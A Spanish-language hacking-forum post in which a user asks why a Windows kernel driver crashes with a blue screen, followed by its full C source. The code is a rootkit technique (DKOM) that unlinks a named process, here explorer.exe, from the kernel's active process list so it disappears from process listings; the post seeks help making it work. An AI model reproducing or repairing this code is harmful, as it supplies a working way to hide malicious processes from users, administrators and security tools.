Últimos Temas de: Air_Dragon

Hola, estoy usando este codigo posteado por Hendrix http://foro.elhacker.net/programacion_cc/modo_kernel_listando_procesos_incluso_ocultos_por_dkom_simple-t282019.0.html;msg1390274

Lo que me pasa es que cuando lo cargo me sale pantalla azul.. y reinicio de la pc.. o sea se muere todo.. me pasa en XP, Vista y Seven.. talvez tiene algo incorrecto el Codigo, si alguien puede ayudarme le agradezco ..

Código:

#include <ntddk.h>
#include <ntifs.h>
 
void Salir(PDRIVER_OBJECT DriverObject)
{
    DbgPrint("Saliendo");
}
 
void HideProcess( char* input )
{
	PEPROCESS PeProcess = NULL; 
	PLIST_ENTRY	pNextEntry, pListHead; 
	PLIST_ENTRY BeforeProcess,Process,AfterProcess;
	PeProcess = PsGetCurrentProcess(); 
	if(!PeProcess) 
		return;
	if(IsListEmpty(&PeProcess->ActiveProcessLinks))
		return;
	else
	{
		pListHead = &PeProcess->ActiveProcessLinks;
		pNextEntry = pListHead->Flink;
 
		while(pNextEntry != pListHead) 
		{
			PeProcess = CONTAINING_RECORD( pNextEntry,EPROCESS,ActiveProcessLinks );
			if(PeProcess->ActiveThreads)
			{
				if( !IsListEmpty( &PeProcess->ThreadListHead ) )
				{
					if( _strnicmp( PeProcess->ImageFileName, input ,strlen(input) ) == 0 )
					{
						Process = pNextEntry;
						BeforeProcess = pNextEntry->Blink;
						AfterProcess = pNextEntry->Flink;
						BeforeProcess->Flink = Process->Flink;
						AfterProcess->Blink = Process->Blink;
						return;
					}
				}		
			}
			PeProcess = NULL;
			pNextEntry = pNextEntry->Flink;
		}
	}
	return;
}
 
NTSTATUS DriverEntry( PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
	NTSTATUS s;
	int i=0;
	int e = 0;
	int nstruct = 0;
	int cont = 0;
	unsigned long pid;
	PUNICODE_STRING pUnicode_NAme;
	ANSI_STRING stri;
	PEPROCESS eproc;
 
    DriverObject->DriverUnload=Salir;
 
	DbgPrint("Escondiendo explorer.exe...");
	HideProcess("explorer.exe");
	DbgPrint("Trabajo terminado :)");
	return  STATUS_SUCCESS;
}